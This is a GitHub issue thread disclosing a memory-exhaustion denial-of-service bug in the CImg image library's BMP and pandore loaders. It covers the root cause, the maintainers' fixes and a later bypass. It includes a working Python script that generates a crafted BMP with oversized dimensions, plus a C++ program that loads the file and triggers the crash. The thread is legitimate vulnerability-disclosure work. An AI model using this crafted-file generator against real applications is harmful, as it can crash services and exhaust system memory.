Denial of service via RAM exhaustion in _load_bmp #343

Closed 7unn3l opened this issue on Apr 2 · 18 comments

7unn3l commented on Apr 2 • edited

Description

Via a maliciously crafted pandore or bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

Version

This does affect the newest Version of Cimg which is 3.10, commit `607aea7` as the time of writing.

Proof of Concept

Due to the fact that I cannot attach bmp files in this format, here is a small python script that will generate a bmp file with given dimmensions. Note that the final buffer size is calculated by multiplying the product of width and height by 3. This code snippet uses a sample value of 5 GB.

```
import struct

def write_size(dx,dy):
    x = struct.pack('I',dx)
    y = struct.pack('I',dy)

    min_bmp_head = list(
                b'BM\xf2Y\x03\x00\x00\x00\x00\x006\x04\x00\x00(\x00\x00\x00 \
                V\xa8\xab1\x02\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00 \
                \xbcU\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00 \
                \x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x03\x03'
                         )

    min_bmp_head[0x12] = x[0]
    min_bmp_head[0x13] = x[1]
    min_bmp_head[0x14] = x[2]
    min_bmp_head[0x15] = x[3]

    min_bmp_head[0x16] = y[0]
    min_bmp_head[0x17] = y[1]
    min_bmp_head[0x18] = y[2]
    min_bmp_head[0x19] = y[3]

    open('crash.bmp','wb').write(bytes(min_bmp_head))

write_size(833333334,2) # use these two parameters to control dx and dy of the image. 833333334,2
for 5 GB
```

then read the file via standard methods:

```
#define cimg_display 0
#include "CImg.h"
#include <iostream>

int main(int argc,const char* argv[]){

    if (argc < 2){
        printf("no img\n");
        exit(1);
    }

    cimg_library::CImg<unsigned char> img;
    img.assign(argv[1]);
}
```

The code was compiled with g++ version 9.4.0 on Ubuntu 9.4.0-1ubuntu1~20.04 via `g++ test.cpp -o ./test -ljpeg -lpng`

Root cause

line numbers refer to main branch with commit `927fee5`

altough safe_size (line 11771) does check for overflows of the size_t type, it does allow very large values . One would think that the try/catch block `try { _data = new T[siz]; }` (line 11885) does not allow for allocations that are too big and would completely circumvent this attack but actually, allocations that are equal to the maximum available RAM of a system or even numbers that are a bit higher (I tested the 5 GB case on a 4GB RAM machine) will *not* thorw an exception like std::bad_alloc.

Impact

This vulnerability allows an attacker who can send images to an application to force an premature process exit and exhaust system memory, potentially leading to a full system denial of service.

Prevention

One could define a global constant that regulates the maximum value safe_size can return. The user then could change the default value depending on context.

7unn3l commented on Apr 6 Author

update: apparently the same type of bug also affects .pandore files

dtschump commented on Apr 7 Collaborator

Thanks. I will investigate.
For now, I've just run your Python code, this generated a very small `.bmp` file `crash.bmp` of size 746 bytes.
When I try reading it with CImg (3.1.0_pre), the bmp format is not recognized:

```
[CImg] *** CImgIOException *** [instance(0,0,0,0,(nil),non-shared)] CImg<float>::load(): Failed to
recognize format of file 'crash.bmp'.
```

I suppose this is not expected?

dtschump commented on Apr 7 Collaborator

OK, was using Python 2.7 (the one by default).
With Python3, the generated file is in binary mode and reproduce the bug.

dtschump commented on Apr 7 Collaborator

Hum, still not look like a .bmp file anyway (112 bytes):

```
$ file crash.bmp
crash.bmp: data
```

dtschump commented on Apr 7 Collaborator

Anyway, I've added some code to check the validity of files. It should help:
`619cb58`

7unn3l commented on Apr 7 • edited ▾ Author

Hello,

Thanks for responding. Regarding the question if crash.bmp is still valid: I get:

```
user@lnx:/mnt/c/Users/user/Desktop/cimg_fuzz_prod_finds/bmp_RAM_exhaustion$ uname -a
Linux lnx 5.10.16.3-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021 x86_64 x86_64
x86_64 GNU/Linux

user@lnx:/mnt/c/Users/user/Desktop/cimg_fuzz_prod_finds/bmp_RAM_exhaustion$ file -v
file-5.41
magic file from /etc/magic:/usr/share/misc/magic

user@lnx:/mnt/c/Users/user/Desktop/cimg_fuzz_prod_finds/bmp_RAM_exhaustion$ python3 ./test.py

user@lnx:/mnt/c/Users/user/Desktop/cimg_fuzz_prod_finds/bmp_RAM_exhaustion$ file crash.bmp
crash.bmp: PC bitmap, Windows 3.x format, 833333334 x 2 x 8224, 538976288 compression, image size
833333334, resolution 2 x 524289 px/m, 538976288 important colors, cbSize 219634, bits offset 1078
```

so on my system, it still shows up as a valid bmp file

7unn3l commented on Apr 7 Author

Regarding `619cb58` , I think this wont work when reading a virtual file buffer (`FILE*`). Because of `cimg::type<ulongT>::max()` , the maximum size ist a very large number (18446744073709551615 on my system), allowing for the same bug to occur again.

When reading the file from disk, the check seems fine to me. It is notable however, that with a large file, one would still be able to cause a big memory allocation but this is not as critical since sending e.g a 4 GB file to an application would probably be prohibted by other sources

dtschump commented on Apr 7 Collaborator

> I think this wont work when reading a virtual file buffer (FILE*)

Indeed, but in this case, as the data are read byte by byte, there is not much we can do, because there is actually no way of knowing the amount of data that will be passed through the `(FILE*)` , so we have to "trust" what is put inside.
I could of course add a "limit" in this case (setting `fsiz` to some smaller value), but this would mean that valid image data larger than that could not be read, which is really annoying.

7unn3l commented on Apr 7 Author

Ah thanks, I see the problem here. How about making the limit user controllable? It could have an initial value and then be user stettable. Im thinking of something like `cimg_libraray::MAX_PX_SIZE` . This would help developers when the application needs to parse user controlled streams and rescources are limited.

dtschump commented on Apr 7 Collaborator

So, `193abd7` is a start :)

7unn3l commented on Apr 7 Author

I agree! ^^

Now I wonder if this limit should also be used in other places, but at the moment I dont have time to investigate. Maybe one could integrate this check into `safe_size` but I guess this is a topic for another issue.

I will quickly verify if `193abd7` fixes the crash on my machine...

7unn3l commented on Apr 7 • edited

Author

okay so the old crashing images do not crash anymore 👍 However, I have found another pandore sample, that also crashes wih RAM exhaustion and seems to get around the checks. I will investigate in the near future and report as soon as I have found the root cause. For bmp files however it looks fixed so far :D

7unn3l commented on Apr 11 Author

Hello again,

The statement that I've made about pandore files is wrong. It was a mistake on my end.

The fix seems to prevent RAM exhaustion in both filetypes ✔️

Thank you for your time and dedication :)

JamieSlome commented on Apr 14

Just attaching the initial report for reference:

https://huntr.dev/bounties/a5e4fc45-8f14-4dd1-811b-740fc50c95d2/

7unn3l commented on Apr 25 • edited

Author

Hello, there is a small update: I've been investigating the loading process a bit more and actually found a bypass for the proposed fix. It has to do with buffers that are allocated without size checking through cimg_max_file_size when loading image files via _load_XX. In this instance, I've found the bypass again in the bmp loading process but since this is a general problem (and I am certain that this problem will also occur in other parts of the lib), Ive made a pull request #348 to address it.

Ive fuzzed the image loading process of ascii,analyze,inr,pnm,bmp,pandore,dlm and pfm files and not found a single RAM exhaustion with this new change :)

Edit: I see that it is merged already. Thanks!

JamieSlome commented on Apr 26

@7unn3l - thanks for the heads up. I have added a comment to the report for reference.

tillea commented on Sep 27

Hi, this is just a gentle ping on this issue. Any news about a fix?

dtschump commented on Sep 27 Collaborator

To me, it has been fixed already. See https://huntr.dev/bounties/a5e4fc45-8f14-4dd1-811b-740fc50c95d2/

7unn3l closed this as completed on Sep 27

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants